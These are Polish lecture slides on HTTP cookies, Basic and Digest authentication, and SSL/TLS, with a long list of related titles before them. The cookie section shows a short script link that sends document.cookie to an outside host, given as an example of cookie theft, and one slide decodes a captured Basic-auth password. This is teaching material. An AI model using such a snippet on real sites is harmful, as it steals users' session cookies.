Uwierzytelnianie HTTP



Podobne dokumenty
Systemy internetowe. Wykład 5 Architektura WWW. West Pomeranian University of Technology, Szczecin; Faculty of Computer Science

Technologie internetowe

Protokół HTTP wprowadzenie. Protokół HTTP podstawowe cechy. Protokół HTTP podstawowe cechy. Protokół HTTP. Podstawowy protokół World Wide Web

Programowanie w Internecie


Programowanie Sieciowe 2 Protokoły komunikacyjne: HTTP

XML-RPC: Zdalne wykonywanie procedur

Protokół HTTP 1.1 *) Wprowadzenie. Jarek Durak. rfc2616 źródło

Ataki na aplikacje WWW. Łomem, czy wytrychem? Jak dobrać się do aplikacji WWW

Bezpieczne protokoły Materiały pomocnicze do wykładu

Sprawozdanie nr 4. Ewa Wojtanowska

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Politechnika Gdańska Wydział Elektrotechniki i Automatyki Kierunek: Automatyka i Robotyka Studia stacjonarne I stopnia: rok I, semestr II

Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4

Problemy z uwierzytelnianiem HTTP

Aplikacje WWW. Wykład 4. Protokół HTTP. wykład prowadzi: Maciej Zakrzewicz. Protokół HTTP

Wykład 4. komputerowych Protokoły SSL i TLS główne slajdy. 26 października Igor T. Podolak Instytut Informatyki Uniwersytet Jagielloński

HTTP W 5-CIU PYTANIACH MICHAŁ KOPACZ

The OWASP Foundation Session Management. Sławomir Rozbicki.

Tworzenie witryn internetowych PHP/Java. (mgr inż. Marek Downar)

Stos TCP/IP. Warstwa aplikacji cz.2

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Internetowe Usługi Informacyjne

Java wybrane technologie

Laboratorium nr 4 - Badanie protokołów WWW

Technologie sieciowe Sprawozdanie z labolatorium. Lista 5

Protokół HTTP. 1. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

ZABEZPIECZENIE KOMUNIKACJI Z SYSTEMEM E-PŁATNOŚCI

Bezpieczeństwo WWW. Plan prezentacji. WWW a protokoły TCP/IP; URL. Czym jest WWW?

Jarosław Kuchta Administrowanie Systemami Komputerowymi. Dostęp zdalny

Internetowe bazy danych

1. Model klient-serwer

Gatesms.eu Mobilne Rozwiązania dla biznesu

Wykład 4. Metody uwierzytelniania - Bezpieczeństwo (3) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Obsługa incydentów bezpieczeństwa: część I, z punktu widzenia menadżera. OWASP The OWASP Foundation

Zarządzanie sesją w aplikacjach Internetowych. Kraków, Paweł Goleń

Bazy danych i usługi sieciowe

ZiMSK. Konsola, TELNET, SSH 1

Plan wykładu. 1. Protokół FTP. 2. Protokół HTTP, usługi www, model request-response (żądanie-odpowiedź), przekazywanie argumentów, AJAX.

Programowanie w Internecie

PHP. Tematyka wykładów: Język PHP PHP i bazy danych Rozszerzenia PHP

Kontrola sesji w PHP HTTP jest protokołem bezstanowym (ang. stateless) nie utrzymuje stanu między dwoma transakcjami. Kontrola sesji służy do

Sprawozdanie Laboratorium 4

Zaawansowany kurs języka Python

Karol Gałka. Numer albumu: Inżynieria mechatroniczna

ZESZYTY ETI ZESPOŁU SZKÓŁ W TARNOBRZEGU Nr 2 Seria: Teleinformatyka 2013

Programowanie komponentowe. Przykład 1 Bezpieczeństwo wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Wykład 3 Inżynieria oprogramowania. Przykład 1 Bezpieczeństwo(2) wg The Java EE 5 Tutorial Autor: Zofia Kruczkiewicz

Obsługa poczty elektronicznej w domenie emeritus.ue.poznan.pl

I.Wojnicki, Tech.Inter.

Sprawozdanie Sieci komputerowe i bazy danych Laboratorium nr 4 Wojciech Kaczmarski

Bezpieczeństwo systemów informatycznych

Zbieranie podstawowych śladów działalności.

Sieci komputerowe. Wykład 8: Warstwa zastosowań: FTP i HTTP. Marcin Bieńkowski. Instytut Informatyki Uniwersytet Wrocławski

Sieciowe systemy informacyjne

Protokół SSL/TLS. Algorytmy wymiany klucza motywacja

Języki programowania wysokiego poziomu WWW

Architektura aplikacji sieciowych. Architektura klient-serwer

Problemy z bezpieczeństwem w sieci lokalnej

SIP Studia Podyplomowe Ćwiczenie laboratoryjne Instrukcja

Marcin Szeliga Sieć

Protokół HTTP (2) I) Wprowadzenie. II) Użyte narzędzia: III) Kolejność działań

Kurs WWW. Paweł Rajba

HTTP. literatura:

ZADANIE.07. Procesy Bezpieczeństwa Sieciowego v.2011alfa ZADANIE.07. VPN RA Virtual Private Network Remote Access (Router) - 1 -

Sieci Komputerowe. Protokół POP3. Protokół IMAP4 Internet Mail Access Protocol version 4. dr Zbigniew Lipiński

INSTRUKCJA OBSŁUGI DLA SIECI

Akademia Górniczo-Hutnicza im. Stanisława Staszica

Serwery aplikacji. dr Radosław Matusik. radmat

Protokół SSL/TLS. Patryk Czarnik. Bezpieczeństwo sieci komputerowych MSUI 2009/10. Wydział Matematyki, Informatyki i Mechaniki Uniwersytet Warszawski

SSL (Secure Socket Layer)

Sieci Komputerowe i Bazy Danych

Technologie Internetu. Protokół HTTP. Aleksander Denisiuk.

INTERNETOWE BAZY DANYCH materiały pomocnicze - wykład VII

Wybrane działy Informatyki Stosowanej

Sieci komputerowe. Wykład dr inż. Łukasz Graczykowski

INSTRUKCJA OBSŁUGI USTAWIEŃ DYNAMICZNIE PRZEDZIELANYCH ADRESÓW IP W URZĄDZENIACH SYSTEMU IP-PRO ORAZ REJESTRATORACH MY-DVR

POLITYKA PRYWATNOŚCI I WYKORZYSTYWANIA PLIKÓW COOKIES W SERWISACH INTERNETOWYCH GoPay Sp. z o.o.

Tomasz Greszata - Koszalin

Jak skonfigurować bezpieczną sieć bezprzewodową w oparciu o serwer RADIUS i urządzenia ZyXEL wspierające standard 802.1x?

Protokół 802.1x. Środowisko IEEE 802.1x określa się za pomocą trzech elementów:

Podstawy Secure Sockets Layer

Języki programowania wysokiego poziomu. PHP cz.3. Formularze

Serwer SSH. Wprowadzenie do serwera SSH Instalacja i konfiguracja Zarządzanie kluczami

Instrukcja konfigurowania poczty Exchange dla klienta pocztowego użytkowanego poza siecią uczelnianą SGH.

Bezpieczeństwo poczty elektronicznej

FTP co to takiego? FTP File Transfer Protocol (Protokół Przesyłania Plików) RFC 114,959

Sieci komputerowe Wykład 7. Bezpieczeństwo w sieci. Paweł Niewiadomski Katedra Informatyki Stosowanej Wydział Matematyki UŁ niewiap@math.uni.lodz.

Sieci komputerowe. Zajęcia 4 Bezpieczeństwo w sieciach komputerowych

TCP/IP. Warstwa aplikacji. mgr inż. Krzysztof Szałajko

INTERNET - Wrocław Usługi bezpieczeństwa w rozproszonych strukturach obliczeniowych typu grid

Protokół HTTP - przegląd

I.Wojnicki, Tech.Inter.

Aplikacje webowe. mgr inż. Aleksander Smywiński-Pohl. Elektroniczne Przetwarzanie Informacji

Exchange Konfiguracja protokołu SSL/TLS w serwerze pocztowym Exchange wersja 1.0

Bezpieczeństwo systemów komputerowych

POLITYKA COOKIES SERWISU CARDINA.PL

Windows Server Serwer RADIUS

Cookie Policy. 1. Informacje ogólne.

HTTP, CGI, Perl. HTTP HyperText Transfer Protocol. CGI Common Gateway Interface. Perl Practical Extraction and Report Language

Transkrypt:

Technologie Internetu Uwierzytelnianie HTTP Aleksander Denisiuk denisjuk@pja.edu.pl Polsko-Japońska Akademia Technik Komputerowych Wydział Informatyki w Gdańsku ul. Brzegi 55 80-045 Gdańsk Technologie Internetu p. 1

Uwierzytelnianie HTTP Najnowsza wersja tego dokumentu dostępna jest pod adresemhttp://users.pja.edu.pl/~denisjuk/ Technologie Internetu p. 2

Personalizacja traktować żadania nie anonimowo zindywidualizowane powitania ukierunkowane rekomendacje przechowywanie danych użytkownika śledzenie sesji użytkownika Technologie Internetu p. 3

Metody personalizacji wykorzystanie nagłówków HTTP grube adresy URL (fat URLs) ciasteczka (cookies) mechanizm logowania użytkowników połaczony z uwierzytelnianiem Technologie Internetu p. 4

Personalizacja. Nagłówki HTTP From adres e-mail użytkownika User-Agent identyfikacja klienta HTTP Referer adres URL strony z której użytkownik trafił na bieżacy zasób Client-IP numer IP komputera klienta ograniczone możliwości personalizacji; zupełnie nie nadaje się do uwierzytelniania Panopticlick Technologie Internetu p. 5

Metody personalizacji. Grube adresy przy połaczeniu klient otrzymuje unikatowy id, który staje się częścia adresu wyglad (serwisy skracajace) zawiera dane konkretnych użytkowników: problemy z buforowaniem i rozpowszechnieniem zwiększone obciażenie serwera nietrwałość Technologie Internetu p. 6

Metody personalizacji. Cisteczka (Cookies) Ciasteczka nie sa częścia definicji protokołu HTTP/1.1 Istnieja dwa standardy ciasteczek oryginalny, zdefiniowany przez firmę Netscape: Persistent Client State: HTTP Cookies (Wersja 0, Cookies Version 0) RFC 2109 oraz RFC 2965 HTTP State Management Mechanism (Wersja 1, Cookies Version 1) Technologie Internetu p. 7

Metody personalizacji. Cisteczka (Cookies) sesyjne trwałe demo: HEAD / HTTP/1.1 Host: www.allegro.pl Technologie Internetu p. 8

Nagłówki Cookies Nagłówki: Set-Cookie (serwer) Cookie (klient) Technologie Internetu p. 9

Set-Cookie Set-Cookie: name=v [; expires=dt] [; path=pt] [; domain=dm] [; secure] name jest dowolna nazwa ciasteczka ustalana przez serwer,vokreśla jego wartość name=v jest jedynym wymaganym elementem ciasteczka przykład:set-cookie: user=olek Technologie Internetu p. 10

expires=dt data ważności ciasteczka formatweekday, DD-Mon-YY HH:MM:SS GMT przykład:wednesday, 24-Feb-09 12:25:00 GMT gdy upłynie data ważności ciasteczka, nie będzie już ono ani przechowywane dłużej przez klienta, ani przesyłane jeśli serwer nie przesłał atrybutuexpires, to oznacza to, że ciasteczko jest typu sesyjnego Technologie Internetu p. 11

path=pt wartośćpt atrybutupath pozwala określić prefiks ścieżki do zasobów do których ciasteczko ma się odnosić przykład: path=/im /im oznacza, że ciasteczko odnosi się np. do /images jak i do/im/capture.png / oznacza, że ciasteczko odnosi się do wszystkich zasobów na serwerze Technologie Internetu p. 12

domain=dm wartośćdm atrybutudomain określa domenę, której dotyczy ciasteczko wartość ciasteczka można wysyłać wyłacznie do maszyn do niej należacych przykład: domain=xyz.edu.pl wyłacznie serwer znajdujacy się w danej domenie może wysyłać ciasteczko z atrybutem odwołujacym się do niej jeśli serwer nie przesłał wartości atrybutudomain, klient przyjmuje, że jest ona równa nazwie serwera Technologie Internetu p. 13

secure atrybutsecure oznacza, że ciasteczko można przesyłać jedynie przez bezpieczne połaczenie HTTPS Technologie Internetu p. 14

Cookie Nagłówek żadaniacookie służy do przesyłania do serwera wszystkich nieprzeterminowanych ciasteczek, które pasuja do filtra: używanej ścieżki do zasobu, nazwy serwera, oraz stosowanej metody przesyłania (HTTP/HTTPS) Wartość nagłówkacookie stanowi (rozdzielona średnikami) lista wszystkich ciasteczek spełniajacych powyższe wymagania i znajdujacych się w stanie posiadania klienta Cookie: user=olek; last-visit=20130523 Technologie Internetu p. 15

Cookies Version 1 każde ciasteczko może posiadać opis funkcjonalności możliwość usunięcia dowolnego ciasteczka przy zamykaniu aplikacji klienta (nagłówekdiscard) termin ważności wyrażany relatywnie (w sekundach) nowy nagłówekmax-age zdolność do filtrowania ciasteczek również poprzez numer portu IP serwera dodatkowe nagłówkiset-cookie2 icookie2 nagłówekcookie2 przesyła informacje o filtrze, który został zastosowany do ciasteczek Technologie Internetu p. 16

Ciasteczka. Uwagi problemy prawne podkradanie ciasteczek <a href="#" onclick=" window.location= http://xxx.com/?cs= +escape(document.cookie) return false;" >Kliknij mnie!</a> Technologie Internetu p. 17

Uwierzytelnianie Zweryfikowanie zadeklarowanej tożsamości osoby Jedna z najprostszych metod uwierzytelniania jest mechanizm logowania z wykorzystaniem hasła Dwie oficjalne metody uwierzytelniania HTTP (RFC 1945, RFC 2616, RFC 2617): metoda podstawowa/basic (ang. Basic Authentication) metoda skrótu/digest (ang. Digest Authentication) Zakładamy, że serwer posiada (i w bezpieczny sposób przechowuje) dane uwierzytelniajace użytkowników Technologie Internetu p. 18

Uwierzytelnianie. Zastosowanie Serwery sieciowe w internecie Serwery sieciowe w intranecie Serwery proxy w internecie Serwery proxy w intranecie Technologie Internetu p. 19

Uwierzytelnianie Basic Livehttphearders http://www.ipipan.gda.pl/~wiesiek/pjwstk/tin/ GET /~wiesiek/pjwstk/tin/ HTTP/1.1 Host: www.ipipan.gda.pl User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-u Accept: text/html,application/xhtml+xml,applicati Accept-Language: pl,ru;q=0.8,en-us;q=0.6,en;q=0.4 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Technologie Internetu p. 20

Uwierzytelnianie Basic. Odpowiedź serwera HTTP/1.1 401 Authorization Required Date: Fri, 06 May 2011 12:18:42 GMT Server: Apache/2.2.3 (CentOS) WWW-Authenticate: Basic realm="technologie intern Content-Length: 483 Connection: close Content-Type: text/html; charset=iso-8859-1 Technologie Internetu p. 21

Uwierzytelnianie Basic. Okno przegladarki Technologie Internetu p. 22

Uwierzytelnianie Basic. Wysyłanie hasła GET /~wiesiek/pjwstk/tin/ HTTP/1.1 Host: www.ipipan.gda.pl User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-u Accept: text/html,application/xhtml+xml,applicati Accept-Language: pl,ru;q=0.8,en-us;q=0.6,en;q=0.4 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Authorization: Basic dgluoln0dwruzxqgmtq4 olek@mingus:~$ base64 -d dgluoln0dwruzxqgmtq4 tin:studnet 148 olek@mingus:~$ Technologie Internetu p. 23

Uwierzytelnianie poprawne. Odpowiedź serwera HTTP/1.1 200 OK Date: Fri, 06 May 2011 15:50:32 GMT Server: Apache/2.2.3 (CentOS) OpenSSL/0.9.8o Content-Length: 959 Keep-Alive: timeout=15, max=100 Connection: Keep-Alive Content-Type: text/html;charset=utf-8 Technologie Internetu p. 24

Uwierzytelnianie basic. Kolejne zaptania GET /~wiesiek/pjwstk/tin/testegzaminacyjny.txt HT Host: www.ipipan.gda.pl User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-u Accept: text/html,application/xhtml+xml,applicati Accept-Language: pl,ru;q=0.8,en-us;q=0.6,en;q=0.4 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Authorization: Basic dgluoln0dwruzxqgmtq4 Technologie Internetu p. 25

Uwierzytelnianie basic. Uwagi Metoda jest wspierana przez wszystkie przegladarki Łatwa do testowania (zwykły tekst) Nazwa użytkownika i hasło przesyłane sa otwartym tekstem Jest podatna na wykradanie hasła przez fałszywe serwery (spoofing) nie oferuje żadnych mechanizmów weryfikacji serwera Można bezpiecznie stosować w połaczeniu z szyfrowaniem (SSL/TLS) Przegladarki trzymaja login/hasło w pamięci, brak mechanizmu wylogowania użytkownika Technologie Internetu p. 26

Uwierzytelnianie Digest. Żadanie GET /dir/index.html HTTP/1.1 Host: www.nowhere.org Technologie Internetu p. 27

Uwierzytelnianie Digest. Odpowiedź HTTP/1.1 401 Unauthorized WWW-Authenticate: Digest realm="testrealm@host.com", qop="auth,auth-int", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", opaque="5ccc069c403ebaf9f0171e9517f40e41" Technologie Internetu p. 28

Digest. Wysyłanie danych uwierzytelniajacych GET /dir/index.html HTTP/1.0 Host: localhost Authorization: Digest username="mufasa", realm="testrealm@host.com", nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093", uri="/dir/index.html", qop=auth, nc=00000001, cnonce="0a4f113b", response="6629fae49393a05397450978507c4ef1", opaque="5ccc069c403ebaf9f0171e9517f40e41" Technologie Internetu p. 29

Digest. Wysyłanie danych przez serwer HTTP/1.0 200 OK Server: HTTPd/0.9 Date: Sun, 10 Apr 2005 20:27:03 GMT Content-Type: text/html Content-Length: 7984 Authentication-Info: nextnonce="47364c23432d2e131a5fb210812c", rspauth="641b92d2d8af170329ce308832a4df13" cnonce="0a4f113b", nc=00000001, qop=auth Technologie Internetu p. 30

Digest. Obliczenia qop = quality of protection auth,auth-int algorithm MD5,MD5-sess nonce = number used once cnonce = client-generated number used once Technologie Internetu p. 31

Digest. Obliczenieresponse A1 = A2 = user : realm : pass dla MD5 MD5(user : realm : pass): nonce : cnonce dla MD5-sess Method : uri dla auth Method : uri :MD5(entity) dla auth-int response = MD5 ( MD5(A1) : nonce : MD5(A2) ), jeżeliqop nieokreślony MD5 ( MD5(A1) : nonce : nc : cnonce : qop : MD5(A2) ) Technologie Internetu p. 32

Uwierzytelnianie digest. Uwagi Przekazywany jest skrót hasła. Podatność na słabe hasła jak każda metoda oparta o hasła. Na serwerze można przchowywać tylko MD5(username : realm : password) cnonce dodaje odporność na chosen plaintext atak. nonce może zawierać timestamp, może mieć listę wygenerowanchnonce. Odporność na atak powtarzaniem. Wiele opcji w RFC 2617 jest nieobowiazkowych. W szczególności,qop może nie być określonym. nie wszystkie serwery/przegladarki obsługuja auth-int. Technologie Internetu p. 33

Uwierzytelnianie digest Podatność na atak man-in-the-middle. Technologie Internetu p. 34

Protokół. HTTPS Zanurzenie HTTP w SSL/TSL TCP TSL Port 80 port 443 Wszystkie żadania i odpowiedzi HTTP sa szyfrowane zanim zostana wysłane do sieci Uwierzytelnienie symetryczne (w praktyce rzadko stosowane) Szyfronanie symetryczne i asymetryczne Technologie Internetu p. 35

SSL Heandshake public key client private key client Client Server public key server private key server generate random number RNc RNc client_hello (crypto information, RNc ) RNc Phase 1 generate random number RNc RNc server_hello (crypto information, ) RNs server certificate (incl. ) demand client certificate Phase 2 RNc check server certificate client certificate (incl. ) check client certificate hash over all previous messages (signed with ) generate random number pre-master-secret check hash and signature PMS RNs Phase 3 PMS RNc encrypted with RNs calculate Master-Secret from PMS RNc MS MS change to encrypted connection with as key end SSL handshake change to encrypted connection with as key Phase 4 end SSL handshake Technologie Internetu p. 36

Certyfikaty Validacja (opcjonalna) daty czy certyfikat został podpisany przez godny zaufania organ certyfikacji (certificate authority CA) prawdziwość podpisu ośrodka certyfikacji czy zawarta w certyfikacie nazwa domeny odpowiada nazwie domeny serwera Przykłady: https://www.scpe.org/index.php/scpe/login https://ssl.allegro.pl/enter_login.php Technologie Internetu p. 37